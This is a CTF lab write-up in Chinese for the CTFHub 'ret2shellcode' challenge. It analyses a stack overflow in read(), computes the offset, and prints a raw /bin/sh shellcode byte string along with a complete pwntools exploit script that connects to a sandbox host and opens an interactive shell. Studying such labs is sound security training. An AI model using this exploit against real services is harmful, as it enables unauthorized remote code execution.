1. 检查文件安全保护

image-20211115193016918

NX没开,可以执行shellcode,PIE没开,地址固定

  1. ida打开文件
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]

buf = 0LL;
v5 = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2shellcode!");
printf("What is it : [%p] ?\n", &buf, 0LL, 0LL); \\打印出了buf在栈的地址
puts("Input someting : ");
read(0, &buf, 0x400uLL); \\溢出点在这
return 0;
}

​ 显然在read处有溢出

​ [rsp+0h] [rbp-10h]可知buf与返回地址偏移量为0x10,可用空间为16(0x10)+8(地址)=24字节 不足以容纳shellcode,所以把它放在后面,需要一层跳板,编写payload:

'a'*24+[buf_addr+32]+shellcode

buf-addr固定给出,

32是平衡栈帧:24垃圾数据+buf_addr(不太懂,先这么记着)

shellcode可以通过asm(shellcraft.sh())得到 (四十多字节)

也可以直接使用

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  1. exp:

    from pwn import *

    host = 'challenge-73515f640e7d1aa5.sandbox.ctfhub.com'
    port = 36434

    #p = process('./ret2shellcode')
    p = connect(host,port)
    p.recvuntil('[')
    buf_addr = p.recvuntil(']', drop=True) # 获取buf地址
    # print buf_addr
    p.recvuntil('Input someting : ') # 执行直到出现这句话
    shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
    p.sendline('a'*24 + p64(int(buf_addr,16)+32) + shell)
    p.interactive()